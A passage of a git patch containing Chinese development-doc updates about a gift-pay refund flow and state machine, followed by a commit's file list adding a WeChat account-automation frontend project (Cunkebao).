description | +| 2026-03-18 | 代付流程调整:阅读页内居中弹窗选择名额→支付成功直接分享;好友打开阅读页自动领取并解锁(含朋友圈 singlePage 降级引导) | 已完成 | read 页代付弹窗+自动领取;singlePage 引导规则入库 | +| 2026-03-18 | 代付退款后禁用:订单退款后代付请求标记 refunded,小程序/管理端均展示“已退款”,不可再分享/领取 | 已完成 | 后端退款同步 gift_pay_requests.status=refunded | | - | 链接人与事所有同步需求汇总 | - | 链接人与事-所有同步需求.md | diff --git a/开发文档/代付-需求分析与待完善.md b/开发文档/代付-需求分析与待完善.md index dff44319..ce70faab 100644 --- a/开发文档/代付-需求分析与待完善.md +++ b/开发文档/代付-需求分析与待完善.md @@ -68,6 +68,7 @@ read 页「代付分享」 | 发起人视角 | 隐藏发起人信息、安全徽章、右侧箭头 | | 创建态提示 | 创建后无法退款 | | 份数校验 | 前端支付时校验正整数;后端校验 ≥1 | +| 退款后禁用 | 订单退款后,同步将 gift_pay_requests 标记为 refunded,小程序端不可再分享/领取,展示「已退款」 | ✅ 已实现(2026-03-18) | --- @@ -76,3 +77,15 @@ read 页「代付分享」 | 项 | 说明 | |------|------| | ref 解析 | app 对分享 path 中 ref 的解析,与 bindReferralCode 规则是否一致 | + +--- + +## 五、状态机补充(用于验收) + +| gift_pay_requests.status | 含义 | 发起人可操作 | 好友可操作 | +|---|---|---|---| +| pending_pay | 待发起人支付 | 支付 / 取消 | 等待 | +| paid | 已支付待领取 | 分享 | 领取/已领取 | +| refunded | 已退款 | 不可分享(仅展示已退款) | 不可领取 | +| cancelled | 已取消 | 不可操作 | 不可操作 | +| expired | 已过期 | 不可操作 | 不可操作 | From c4f737c829ddb2747ad6c0283bfcd5f7473fcaf0 Mon Sep 17 00:00:00 2001 From: Alex-larget <33240357+Alex-larget@users.noreply.github.com> Date: Wed, 18 Mar 2026 21:06:16 +0800 Subject: [PATCH 2/3] =?UTF-8?q?=E7=A8=B3=E5=AE=9A=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E6=9E=84=E5=BB=BA=E5=AE=8C=E6=88=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Cunkebao/.env.development | 6 + Cunkebao/.env.local | 1 + Cunkebao/.env.production | 6 + Cunkebao/.eslintrc.js | 64 + Cunkebao/.gitattributes | 27 + Cunkebao/.gitignore | 11 + Cunkebao/.prettierrc | 13 + Cunkebao/.vite/deps/_metadata.json | 8 + Cunkebao/.vite/deps/package.json | 3 + Cunkebao/.vscode/extensions.json | 11 + Cunkebao/.vscode/settings.json | 45 + Cunkebao/devlop.py | 95 + Cunkebao/favicon.ico | Bin 0 -> 3922 bytes Cunkebao/index.html | 19 + Cunkebao/package.json | 52 + Cunkebao/pnpm-lock.yaml | 4990 +++++++++++++++++ Cunkebao/postcss.config.js | 8 + Cunkebao/public/logo.png | Bin 0 -> 499922 bytes Cunkebao/public/manifest.json | 30 + Cunkebao/public/websdk.js | 308 + Cunkebao/src/App.tsx | 14 + Cunkebao/src/android-polyfills.ts | 352 ++ Cunkebao/src/api/common.ts | 37 + Cunkebao/src/api/request.ts | 90 + Cunkebao/src/api/request2.ts | 89 + .../src/components/AccountSelection/api.ts | 10 + .../src/components/AccountSelection/data.ts | 35 + .../AccountSelection/index.module.scss | 231 + .../src/components/AccountSelection/index.tsx | 139 + .../AccountSelection/selectionPopup.tsx | 237 + .../components/AndroidCompatibilityCheck.tsx | 228 + .../src/components/CompatibilityCheck.tsx | 125 + .../src/components/ContentSelection/api.ts | 5 + .../src/components/ContentSelection/data.ts | 21 + .../ContentSelection/index.module.scss | 117 + .../src/components/ContentSelection/index.tsx | 145 + .../ContentSelection/selectionPopup.tsx | 257 + .../src/components/DeviceSelection/api.ts | 10 + .../src/components/DeviceSelection/data.ts | 30 + .../DeviceSelection/index.module.scss | 274 + .../src/components/DeviceSelection/index.tsx | 192 + .../DeviceSelection/selectionPopup.tsx | 287 + .../EmojiSeclection/EmojiPicker.css | 167 + .../EmojiSeclection/EmojiPicker.tsx | 115 + .../src/components/EmojiSeclection/index.ts | 18 + .../components/EmojiSeclection/wechatEmoji.ts | 902 +++ .../FloatingVideoHelp/VideoPlayer.module.scss | 128 + .../FloatingVideoHelp/VideoPlayer.tsx | 101 + .../FloatingVideoHelp/index.module.scss | 56 + .../components/FloatingVideoHelp/index.tsx | 68 + .../FloatingVideoHelp/videoConfig.ts | 110 + .../src/components/FriendSelection/api.ts | 11 + .../src/components/FriendSelection/data.ts | 27 + .../FriendSelection/index.module.scss | 246 + .../src/components/FriendSelection/index.tsx | 140 + .../FriendSelection/selectionPopup.tsx | 245 + Cunkebao/src/components/GroupSelection/api.ts | 10 + .../src/components/GroupSelection/data.ts | 43 + .../GroupSelection/index.module.scss | 206 + .../src/components/GroupSelection/index.tsx | 126 + .../GroupSelection/selectionPopup.tsx | 257 + .../index.module.scss | 329 ++ .../GroupSelectionWithMembers/index.tsx | 438 ++ .../InfiniteList/InfiniteList.module.scss | 87 + .../components/InfiniteList/InfiniteList.tsx | 195 + Cunkebao/src/components/Layout/Layout.tsx | 52 + .../src/components/Layout/LayoutFiexd.tsx | 48 + .../src/components/Layout/layout.module.scss | 28 + Cunkebao/src/components/LineChart.tsx | 53 + Cunkebao/src/components/LineChart2.tsx | 57 + .../src/components/MeauMobile/MeauMoible.tsx | 57 + .../TwoColumnMemberSelection.module.scss | 154 + .../TwoColumnMemberSelection.tsx | 185 + .../src/components/MemberSelection/index.tsx | 51 + Cunkebao/src/components/NavCommon/index.tsx | 62 + Cunkebao/src/components/PlaceholderPage.tsx | 52 + Cunkebao/src/components/PoolSelection/api.ts | 34 + Cunkebao/src/components/PoolSelection/data.ts | 61 + .../PoolSelection/index.module.scss | 206 + .../src/components/PoolSelection/index.tsx | 127 + .../PoolSelection/selectionPopup.tsx | 258 + .../components/PopuLayout/footer.module.scss | 88 + Cunkebao/src/components/PopuLayout/footer.tsx | 88 + .../components/PopuLayout/header.module.scss | 51 + Cunkebao/src/components/PopuLayout/header.tsx | 89 + .../src/components/StepIndicator/index.tsx | 43 + .../TwoColumnSelection.module.scss | 153 + .../TwoColumnSelection/TwoColumnSelection.tsx | 329 ++ .../components/UpdateNotification/index.tsx | 217 + .../components/Upload/AudioRecorder/index.tsx | 411 ++ .../Upload/AvatarUpload/index.module.scss | 484 ++ .../components/Upload/AvatarUpload/index.tsx | 188 + .../Upload/ChatFileUpload/example.tsx | 254 + .../Upload/ChatFileUpload/index.module.scss | 48 + .../Upload/ChatFileUpload/index.tsx | 189 + .../Upload/FileUpload/index.module.scss | 265 + .../components/Upload/FileUpload/index.tsx | 531 ++ .../Upload/FileUploadButton/index.module.scss | 13 + .../Upload/FileUploadButton/index.tsx | 282 + .../Upload/ImageUpload/ImageUpload.tsx | 141 + .../Upload/ImageUpload/index.module.scss | 484 ++ .../Upload/MainImgUpload/index.module.scss | 291 + .../components/Upload/MainImgUpload/index.tsx | 367 ++ Cunkebao/src/components/Upload/README.md | 451 ++ .../Upload/SimpleFileUpload/index.tsx | 84 + .../Upload/VideoUpload/index.module.scss | 243 + .../components/Upload/VideoUpload/index.tsx | 381 ++ Cunkebao/src/components/WebSocketExample.tsx | 251 + Cunkebao/src/main.tsx | 20 + Cunkebao/src/pages/guide/api.ts | 13 + Cunkebao/src/pages/guide/index.module.scss | 341 ++ Cunkebao/src/pages/guide/index.tsx | 348 ++ Cunkebao/src/pages/iframe/index.module.scss | 323 ++ Cunkebao/src/pages/iframe/index.tsx | 242 + Cunkebao/src/pages/iframe/init.tsx | 172 + Cunkebao/src/pages/login/Login.tsx | 303 + Cunkebao/src/pages/login/api.ts | 51 + Cunkebao/src/pages/login/login.module.scss | 436 ++ Cunkebao/src/pages/mobile/home/api.ts | 31 + .../src/pages/mobile/home/index.module.scss | 356 ++ Cunkebao/src/pages/mobile/home/index.tsx | 262 + .../src/pages/mobile/mine/content/form/api.ts | 26 + .../pages/mobile/mine/content/form/data.ts | 61 + .../mine/content/form/index.module.scss | 423 ++ .../pages/mobile/mine/content/form/index.tsx | 552 ++ .../src/pages/mobile/mine/content/list/api.ts | 49 + .../pages/mobile/mine/content/list/data.ts | 66 + .../mine/content/list/index.module.scss | 217 + .../pages/mobile/mine/content/list/index.tsx | 314 ++ .../mobile/mine/content/materials/form/api.ts | 20 + .../mine/content/materials/form/data.ts | 93 + .../content/materials/form/index.module.scss | 160 + .../mine/content/materials/form/index.tsx | 403 ++ .../mobile/mine/content/materials/list/api.ts | 57 + .../mine/content/materials/list/data.ts | 119 + .../content/materials/list/index.module.scss | 862 +++ .../mine/content/materials/list/index.tsx | 732 +++ .../mobile/mine/devices/DeviceDetail.tsx | 392 ++ Cunkebao/src/pages/mobile/mine/devices/api.ts | 48 + .../mobile/mine/devices/index.module.scss | 173 + .../src/pages/mobile/mine/devices/index.tsx | 514 ++ Cunkebao/src/pages/mobile/mine/main/api.ts | 9 + .../pages/mobile/mine/main/index.module.scss | 210 + Cunkebao/src/pages/mobile/mine/main/index.tsx | 222 + .../mobile/mine/recharge/buy-power/api.ts | 47 + .../mine/recharge/buy-power/index.module.scss | 272 + .../mobile/mine/recharge/buy-power/index.tsx | 278 + .../pages/mobile/mine/recharge/index/api.ts | 201 + .../mine/recharge/index/index.module.scss | 1339 +++++ .../mobile/mine/recharge/index/index.tsx | 1932 +++++++ .../pages/mobile/mine/recharge/order/api.ts | 37 + .../pages/mobile/mine/recharge/order/data.ts | 62 + .../recharge/order/detail/index.module.scss | 154 + .../mine/recharge/order/detail/index.tsx | 328 ++ .../mine/recharge/order/index.module.scss | 242 + .../mobile/mine/recharge/order/index.tsx | 490 ++ .../mobile/mine/recharge/usage-records/api.ts | 47 + .../recharge/usage-records/index.module.scss | 107 + .../mine/recharge/usage-records/index.tsx | 225 + .../src/pages/mobile/mine/setting/About.tsx | 152 + .../src/pages/mobile/mine/setting/Privacy.tsx | 125 + .../src/pages/mobile/mine/setting/README.md | 188 + .../mobile/mine/setting/SecuritySetting.tsx | 224 + .../pages/mobile/mine/setting/UserSetting.tsx | 148 + Cunkebao/src/pages/mobile/mine/setting/api.ts | 5 + .../mobile/mine/setting/index.module.scss | 852 +++ .../src/pages/mobile/mine/setting/index.tsx | 327 ++ .../mobile/mine/traffic-pool/form/README.md | 101 + .../mobile/mine/traffic-pool/form/api.ts | 130 + .../components/AudienceFilter.module.scss | 129 + .../form/components/AudienceFilter.tsx | 196 + .../form/components/BasicInfo.module.scss | 60 + .../form/components/BasicInfo.tsx | 65 + .../form/components/ConditionList.module.scss | 52 + .../form/components/ConditionList.tsx | 67 + .../CustomConditionModal.module.scss | 80 + .../form/components/CustomConditionModal.tsx | 242 + .../SchemeRecommendation.module.scss | 92 + .../form/components/SchemeRecommendation.tsx | 201 + .../components/UserListPreview.module.scss | 126 + .../form/components/UserListPreview.tsx | 155 + .../mine/traffic-pool/form/index.module.scss | 49 + .../mobile/mine/traffic-pool/form/index.tsx | 231 + .../mobile/mine/traffic-pool/list/api.ts | 31 + .../mobile/mine/traffic-pool/list/data.ts | 51 + .../mine/traffic-pool/list/index.module.scss | 185 + .../mobile/mine/traffic-pool/list/index.tsx | 280 + .../traffic-pool/poolList1/BatchAddModal.tsx | 94 + .../poolList1/DataAnalysisPanel.tsx | 145 + .../traffic-pool/poolList1/FilterModal.tsx | 195 + .../mobile/mine/traffic-pool/poolList1/api.ts | 34 + .../mine/traffic-pool/poolList1/data.ts | 51 + .../traffic-pool/poolList1/index.module.scss | 65 + .../mine/traffic-pool/poolList1/index.tsx | 396 ++ .../mobile/mine/traffic-pool/userList/api.ts | 11 + .../mobile/mine/traffic-pool/userList/data.ts | 27 + .../traffic-pool/userList/index.module.scss | 40 + .../mine/traffic-pool/userList/index.tsx | 175 + .../mobile/mine/wechat-accounts/detail/api.ts | 175 + .../mine/wechat-accounts/detail/data.ts | 155 + .../wechat-accounts/detail/detail.module.scss | 1733 ++++++ .../mine/wechat-accounts/detail/index.tsx | 1616 ++++++ .../mobile/mine/wechat-accounts/list/api.ts | 31 + .../wechat-accounts/list/index.module.scss | 204 + .../mine/wechat-accounts/list/index.tsx | 286 + .../src/pages/mobile/scenarios/list/api.ts | 26 + .../mobile/scenarios/list/index.module.scss | 329 ++ .../src/pages/mobile/scenarios/list/index.tsx | 159 + .../pages/mobile/scenarios/plan/list/api.ts | 48 + .../plan/list/components/AccountListModal.tsx | 194 + .../plan/list/components/DeviceListModal.tsx | 175 + .../plan/list/components/OreadyAdd.tsx | 175 + .../plan/list/components/PoolListModal.tsx | 252 + .../plan/list/components/Popups.module.scss | 770 +++ .../pages/mobile/scenarios/plan/list/data.ts | 60 + .../scenarios/plan/list/index.module.scss | 444 ++ .../mobile/scenarios/plan/list/index.tsx | 701 +++ .../scenarios/plan/list/planApi.module.scss | 601 ++ .../mobile/scenarios/plan/list/planApi.tsx | 533 ++ .../mobile/scenarios/plan/new/index.api.ts | 20 + .../mobile/scenarios/plan/new/index.data.ts | 80 + .../pages/mobile/scenarios/plan/new/index.tsx | 328 ++ .../plan/new/steps/BasicSettings.tsx | 594 ++ .../plan/new/steps/DistributionSettings.tsx | 817 +++ .../plan/new/steps/FriendRequestSettings.tsx | 232 + .../scenarios/plan/new/steps/MessageCard.tsx | 336 ++ .../plan/new/steps/MessageSettings.tsx | 242 + .../scenarios/plan/new/steps/base.data.ts | 84 + .../scenarios/plan/new/steps/base.module.scss | 385 ++ .../plan/new/steps/friend.module.scss | 97 + .../plan/new/steps/messages.module.scss | 110 + .../scenarios/plan/new/steps/step.api.ts | 384 ++ Cunkebao/src/pages/mobile/test/README.md | 111 + Cunkebao/src/pages/mobile/test/index.tsx | 72 + Cunkebao/src/pages/mobile/test/select.tsx | 221 + .../pages/mobile/test/update-notification.tsx | 179 + .../src/pages/mobile/test/upload.module.scss | 354 ++ Cunkebao/src/pages/mobile/test/upload.tsx | 423 ++ .../workspace/ai-analyzer/index.module.scss | 94 + .../mobile/workspace/ai-analyzer/index.tsx | 141 + .../ai-assistant/AIAssistant.module.scss | 145 + .../workspace/ai-assistant/AIAssistant.tsx | 264 + .../mobile/workspace/ai-knowledge/api 文档 | 168 + .../workspace/ai-knowledge/detail/api.ts | 109 + .../workspace/ai-knowledge/detail/data.ts | 48 + .../ai-knowledge/detail/index.module.scss | 596 ++ .../workspace/ai-knowledge/detail/index.tsx | 723 +++ .../mobile/workspace/ai-knowledge/form/api.ts | 4 + .../workspace/ai-knowledge/form/data.ts | 2 + .../ai-knowledge/form/index.module.scss | 318 ++ .../workspace/ai-knowledge/form/index.tsx | 307 + .../mobile/workspace/ai-knowledge/list/api.ts | 95 + .../list/components/GlobalPromptModal.tsx | 173 + .../workspace/ai-knowledge/list/data.ts | 75 + .../ai-knowledge/list/index.module.scss | 421 ++ .../workspace/ai-knowledge/list/index.tsx | 423 ++ .../mobile/workspace/auto-group/detail/api.ts | 6 + .../auto-group/detail/index.module.scss | 149 + .../workspace/auto-group/detail/index.tsx | 348 ++ .../mobile/workspace/auto-group/form/api.ts | 17 + .../form/components/BasicSettings.tsx | 336 ++ .../form/components/DeviceSelector.tsx | 93 + .../form/components/OwnerAdminSelector.tsx | 235 + .../form/components/PoolSelector.tsx | 98 + .../auto-group/form/index.module.scss | 25 + .../workspace/auto-group/form/index.tsx | 308 + .../mobile/workspace/auto-group/form/types.ts | 76 + .../mobile/workspace/auto-group/list/api.ts | 16 + .../auto-group/list/index.module.scss | 173 + .../workspace/auto-group/list/index.tsx | 342 ++ .../mobile/workspace/auto-like/list/api.ts | 63 + .../mobile/workspace/auto-like/list/data.ts | 119 + .../auto-like/list/index.module.scss | 278 + .../mobile/workspace/auto-like/list/index.tsx | 398 ++ .../mobile/workspace/auto-like/new/api.ts | 21 + .../mobile/workspace/auto-like/new/data.ts | 125 + .../mobile/workspace/auto-like/new/index.tsx | 486 ++ .../workspace/auto-like/new/new.module.scss | 286 + .../mobile/workspace/auto-like/record/api.ts | 63 + .../mobile/workspace/auto-like/record/data.ts | 119 + .../workspace/auto-like/record/index.tsx | 306 + .../auto-like/record/record.module.scss | 268 + .../contact-import/detail/index.module.scss | 325 ++ .../workspace/contact-import/detail/index.tsx | 467 ++ .../workspace/contact-import/form/api.ts | 91 + .../workspace/contact-import/form/data.ts | 168 + .../contact-import/form/index.module.scss | 146 + .../workspace/contact-import/form/index.tsx | 381 ++ .../workspace/contact-import/list/api.ts | 97 + .../workspace/contact-import/list/data.ts | 131 + .../contact-import/list/index.module.scss | 241 + .../workspace/contact-import/list/index.tsx | 345 ++ .../workspace/distribution-management/api.ts | 160 + .../components/AddChannelModal.module.scss | 290 + .../components/AddChannelModal.tsx | 432 ++ .../workspace/distribution-management/data.ts | 67 + .../distribution-management/detail/api.ts | 211 + .../distribution-management/detail/data.ts | 79 + .../detail/index.module.scss | 574 ++ .../distribution-management/detail/index.tsx | 644 +++ .../distribution-management/index.module.scss | 1175 ++++ .../distribution-management/index.tsx | 1370 +++++ .../detail/group-detail.module.scss | 598 ++ .../group-create/detail/group-detail.tsx | 675 +++ .../detail/groups-list.module.scss | 275 + .../group-create/detail/groups-list.tsx | 290 + .../group-create/detail/index.module.scss | 482 ++ .../workspace/group-create/detail/index.tsx | 401 ++ .../mobile/workspace/group-create/form/api.ts | 74 + .../form/components/BasicSettings.module.scss | 700 +++ .../form/components/BasicSettings.tsx | 636 +++ .../DeviceSelectionStep.module.scss | 197 + .../form/components/DeviceSelectionStep.tsx | 123 + .../components/PoolSelectionStep.module.scss | 233 + .../form/components/PoolSelectionStep.tsx | 156 + .../workspace/group-create/form/index.tsx | 291 + .../workspace/group-create/form/types.ts | 77 + .../group-create/list/index.module.scss | 303 + .../workspace/group-create/list/index.tsx | 344 ++ .../workspace/group-create/新增字段说明.md | 92 + .../workspace/group-push/detail/groupPush.ts | 74 + .../group-push/detail/index.module.scss | 98 + .../workspace/group-push/detail/index.tsx | 254 + .../form/components/BasicSettings.tsx | 333 ++ .../form/components/ContentSelector.tsx | 96 + .../form/components/GroupSelector.tsx | 95 + .../workspace/group-push/form/index.api.ts | 22 + .../workspace/group-push/form/index.data.ts | 37 + .../workspace/group-push/form/index.tsx | 257 + .../workspace/group-push/list/index.api.ts | 44 + .../group-push/list/index.module.scss | 164 + .../workspace/group-push/list/index.tsx | 282 + .../src/pages/mobile/workspace/main/api.ts | 19 + .../mobile/workspace/main/index.module.scss | 117 + .../src/pages/mobile/workspace/main/index.tsx | 222 + .../workspace/moments-sync/list/Detail.tsx | 198 + .../moments-sync/list/index.module.scss | 356 ++ .../workspace/moments-sync/list/index.tsx | 293 + .../mobile/workspace/moments-sync/new/api.ts | 13 + .../moments-sync/new/index.module.scss | 249 + .../workspace/moments-sync/new/index.tsx | 372 ++ .../workspace/moments-sync/record/api.ts | 63 + .../workspace/moments-sync/record/data.ts | 119 + .../workspace/moments-sync/record/index.tsx | 278 + .../moments-sync/record/record.module.scss | 267 + .../traffic-distribution/detail/api.ts | 0 .../traffic-distribution/detail/data.ts | 0 .../detail/index.module.scss | 0 .../traffic-distribution/detail/index.tsx | 3 + .../traffic-distribution/form/api.ts | 21 + .../traffic-distribution/form/data.ts | 77 + .../form/index.module.scss | 265 + .../traffic-distribution/form/index.tsx | 408 ++ .../traffic-distribution/list/api.ts | 44 + .../list/components/AccountListModal.tsx | 184 + .../list/components/DeviceListModal.tsx | 175 + .../list/components/PoolListModal.tsx | 182 + .../list/components/SendRcrodModal.tsx | 283 + .../traffic-distribution/list/data.ts | 133 + .../list/index.module.scss | 755 +++ .../traffic-distribution/list/index.tsx | 421 ++ Cunkebao/src/polyfills.ts | 176 + Cunkebao/src/react-app-env.d.ts | 1 + Cunkebao/src/router/config.ts | 180 + Cunkebao/src/router/index.tsx | 51 + Cunkebao/src/router/module/auth.tsx | 17 + Cunkebao/src/router/module/content.tsx | 39 + Cunkebao/src/router/module/index.tsx | 18 + Cunkebao/src/router/module/mine.tsx | 122 + Cunkebao/src/router/module/scenarios.tsx | 33 + Cunkebao/src/router/module/test.tsx | 39 + .../src/router/module/wechat-accounts.tsx | 17 + Cunkebao/src/router/module/workspace.tsx | 256 + Cunkebao/src/router/permissionRoute.tsx | 46 + Cunkebao/src/store/README.md | 572 ++ Cunkebao/src/store/createPersistStore.ts | 261 + Cunkebao/src/store/examples.ts | 325 ++ Cunkebao/src/store/index.ts | 77 + Cunkebao/src/store/module/app.ts | 135 + Cunkebao/src/store/module/settings.ts | 71 + Cunkebao/src/store/module/user.ts | 105 + Cunkebao/src/store/persistUtils.ts | 424 ++ Cunkebao/src/styles/global.scss | 317 ++ Cunkebao/src/types/device.ts | 68 + Cunkebao/src/utils/apiUrl.ts | 74 + Cunkebao/src/utils/cacheCleaner.ts | 70 + Cunkebao/src/utils/chartColors.ts | 67 + Cunkebao/src/utils/common.ts | 252 + Cunkebao/src/utils/env.ts | 46 + Cunkebao/src/utils/postApp.ts | 72 + Cunkebao/src/utils/updateChecker.ts | 217 + Cunkebao/src/vite-env.d.ts | 11 + Cunkebao/tsconfig.json | 24 + Cunkebao/vite-pwa.config.ts | 58 + Cunkebao/vite.config.ts | 51 + Cunkebao/websdk.js | 308 + soul-admin/dist/assets/index-34teBEu9.js | 914 +++ soul-admin/dist/assets/index-B7tt33mg.css | 1 + soul-admin/dist/assets/index-BgHLp2oy.css | 1 - soul-admin/dist/assets/index-jQTzpVXX.js | 914 --- soul-admin/dist/index.html | 4 +- soul-admin/src/api/ckb.ts | 34 + soul-admin/src/pages/content/ContentPage.tsx | 751 ++- .../src/pages/content/PersonAddEditModal.tsx | 163 +- soul-api/internal/handler/ckb_open.go | 110 + .../internal/handler/db_ckb_person_leads.go | 91 + soul-api/internal/handler/db_link_tag.go | 142 +- soul-api/internal/handler/db_person.go | 3 + soul-api/internal/model/person.go | 1 + soul-api/internal/router/router.go | 3 + 开发文档/新版迁移-管理端功能差异清单.md | 135 +- 411 files changed, 90567 insertions(+), 1216 deletions(-) create mode 100644 Cunkebao/.env.development create mode 100644 Cunkebao/.env.local create mode 100644 Cunkebao/.env.production create mode 100644 Cunkebao/.eslintrc.js create mode 100644 Cunkebao/.gitattributes create mode 100644 Cunkebao/.gitignore create mode 100644 Cunkebao/.prettierrc create mode 100644 Cunkebao/.vite/deps/_metadata.json create mode 100644 Cunkebao/.vite/deps/package.json create mode 100644 Cunkebao/.vscode/extensions.json create mode 100644 Cunkebao/.vscode/settings.json create mode 100644 Cunkebao/devlop.py create mode 100644 Cunkebao/favicon.ico create mode 100644 Cunkebao/index.html create mode 100644 Cunkebao/package.json create mode 100644 Cunkebao/pnpm-lock.yaml create mode 100644 Cunkebao/postcss.config.js create mode 100644 Cunkebao/public/logo.png create mode 100644 Cunkebao/public/manifest.json create mode 100644 Cunkebao/public/websdk.js create mode 100644 Cunkebao/src/App.tsx create mode 100644 Cunkebao/src/android-polyfills.ts create mode 100644 Cunkebao/src/api/common.ts create mode 100644 Cunkebao/src/api/request.ts create mode 100644 Cunkebao/src/api/request2.ts create mode 100644 Cunkebao/src/components/AccountSelection/api.ts create mode 100644 Cunkebao/src/components/AccountSelection/data.ts create mode 100644 Cunkebao/src/components/AccountSelection/index.module.scss create mode 100644 Cunkebao/src/components/AccountSelection/index.tsx create mode 100644 Cunkebao/src/components/AccountSelection/selectionPopup.tsx create mode 100644 Cunkebao/src/components/AndroidCompatibilityCheck.tsx create mode 100644 Cunkebao/src/components/CompatibilityCheck.tsx create mode 100644 Cunkebao/src/components/ContentSelection/api.ts create mode 100644 Cunkebao/src/components/ContentSelection/data.ts create mode 100644 Cunkebao/src/components/ContentSelection/index.module.scss create mode 100644 Cunkebao/src/components/ContentSelection/index.tsx create mode 100644 Cunkebao/src/components/ContentSelection/selectionPopup.tsx create mode 100644 Cunkebao/src/components/DeviceSelection/api.ts create mode 100644 Cunkebao/src/components/DeviceSelection/data.ts create mode 100644 Cunkebao/src/components/DeviceSelection/index.module.scss create mode 100644 Cunkebao/src/components/DeviceSelection/index.tsx create mode 100644 Cunkebao/src/components/DeviceSelection/selectionPopup.tsx create mode 100644 Cunkebao/src/components/EmojiSeclection/EmojiPicker.css create mode 100644 Cunkebao/src/components/EmojiSeclection/EmojiPicker.tsx create mode 100644 Cunkebao/src/components/EmojiSeclection/index.ts create mode 100644 Cunkebao/src/components/EmojiSeclection/wechatEmoji.ts create mode 100644 Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.module.scss create mode 100644 Cunkebao/src/components/FloatingVideoHelp/VideoPlayer.tsx create mode 100644 Cunkebao/src/components/FloatingVideoHelp/index.module.scss create mode 100644 Cunkebao/src/components/FloatingVideoHelp/index.tsx create mode 100644 Cunkebao/src/components/FloatingVideoHelp/videoConfig.ts create mode 100644 Cunkebao/src/components/FriendSelection/api.ts create mode 100644 Cunkebao/src/components/FriendSelection/data.ts create mode 100644 Cunkebao/src/components/FriendSelection/index.module.scss create mode 100644 Cunkebao/src/components/FriendSelection/index.tsx create mode 100644 Cunkebao/src/components/FriendSelection/selectionPopup.tsx create mode 100644 Cunkebao/src/components/GroupSelection/api.ts create mode 100644 Cunkebao/src/components/GroupSelection/data.ts create mode 100644 Cunkebao/src/components/GroupSelection/index.module.scss create mode 100644 Cunkebao/src/components/GroupSelection/index.tsx create mode 100644 Cunkebao/src/components/GroupSelection/selectionPopup.tsx create mode 100644 Cunkebao/src/components/GroupSelectionWithMembers/index.module.scss create mode 100644 Cunkebao/src/components/GroupSelectionWithMembers/index.tsx create mode 100644 Cunkebao/src/components/InfiniteList/InfiniteList.module.scss create mode 100644 Cunkebao/src/components/InfiniteList/InfiniteList.tsx create mode 100644 Cunkebao/src/components/Layout/Layout.tsx create mode 100644 Cunkebao/src/components/Layout/LayoutFiexd.tsx create mode 100644 Cunkebao/src/components/Layout/layout.module.scss create mode 100644 Cunkebao/src/components/LineChart.tsx create mode 100644 Cunkebao/src/components/LineChart2.tsx create mode 100644 Cunkebao/src/components/MeauMobile/MeauMoible.tsx create mode 100644 Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.module.scss create mode 100644 Cunkebao/src/components/MemberSelection/TwoColumnMemberSelection.tsx create mode 100644 Cunkebao/src/components/MemberSelection/index.tsx create mode 100644 Cunkebao/src/components/NavCommon/index.tsx create mode 100644 Cunkebao/src/components/PlaceholderPage.tsx create mode 100644 Cunkebao/src/components/PoolSelection/api.ts create mode 100644 Cunkebao/src/components/PoolSelection/data.ts create mode 100644 Cunkebao/src/components/PoolSelection/index.module.scss create mode 100644 Cunkebao/src/components/PoolSelection/index.tsx create mode 100644 Cunkebao/src/components/PoolSelection/selectionPopup.tsx create mode 100644 Cunkebao/src/components/PopuLayout/footer.module.scss create mode 100644 Cunkebao/src/components/PopuLayout/footer.tsx create mode 100644 Cunkebao/src/components/PopuLayout/header.module.scss create mode 100644 Cunkebao/src/components/PopuLayout/header.tsx create mode 100644 Cunkebao/src/components/StepIndicator/index.tsx create mode 100644 Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.module.scss create mode 100644 Cunkebao/src/components/TwoColumnSelection/TwoColumnSelection.tsx create mode 100644 Cunkebao/src/components/UpdateNotification/index.tsx create mode 100644 Cunkebao/src/components/Upload/AudioRecorder/index.tsx create mode 100644 Cunkebao/src/components/Upload/AvatarUpload/index.module.scss create mode 100644 Cunkebao/src/components/Upload/AvatarUpload/index.tsx create mode 100644 Cunkebao/src/components/Upload/ChatFileUpload/example.tsx create mode 100644 Cunkebao/src/components/Upload/ChatFileUpload/index.module.scss create mode 100644 Cunkebao/src/components/Upload/ChatFileUpload/index.tsx create mode 100644 Cunkebao/src/components/Upload/FileUpload/index.module.scss create mode 100644 Cunkebao/src/components/Upload/FileUpload/index.tsx create mode 100644 Cunkebao/src/components/Upload/FileUploadButton/index.module.scss create mode 100644 Cunkebao/src/components/Upload/FileUploadButton/index.tsx create mode 100644 Cunkebao/src/components/Upload/ImageUpload/ImageUpload.tsx create mode 100644 Cunkebao/src/components/Upload/ImageUpload/index.module.scss create mode 100644 Cunkebao/src/components/Upload/MainImgUpload/index.module.scss create mode 100644 Cunkebao/src/components/Upload/MainImgUpload/index.tsx create mode 100644 Cunkebao/src/components/Upload/README.md create mode 100644 Cunkebao/src/components/Upload/SimpleFileUpload/index.tsx create mode 100644 Cunkebao/src/components/Upload/VideoUpload/index.module.scss create mode 100644 Cunkebao/src/components/Upload/VideoUpload/index.tsx create mode 100644 Cunkebao/src/components/WebSocketExample.tsx create mode 100644 Cunkebao/src/main.tsx create mode 100644 Cunkebao/src/pages/guide/api.ts create mode 100644 Cunkebao/src/pages/guide/index.module.scss create mode 100644 Cunkebao/src/pages/guide/index.tsx create mode 100644 Cunkebao/src/pages/iframe/index.module.scss create mode 100644 Cunkebao/src/pages/iframe/index.tsx create mode 100644 Cunkebao/src/pages/iframe/init.tsx create mode 100644 Cunkebao/src/pages/login/Login.tsx create mode 100644 Cunkebao/src/pages/login/api.ts create mode 100644 Cunkebao/src/pages/login/login.module.scss create mode 100644 Cunkebao/src/pages/mobile/home/api.ts create mode 100644 Cunkebao/src/pages/mobile/home/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/home/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/content/form/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/form/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/form/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/content/form/index.tsx create mode 100644 Cunkebao/src/pages/mobile/mine/content/list/api.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/list/data.ts create mode 100644 Cunkebao/src/pages/mobile/mine/content/list/index.module.scss create mode 100644 Cunkebao/src/pages/mobile/mine/content/list/index.tsx create mode 100644 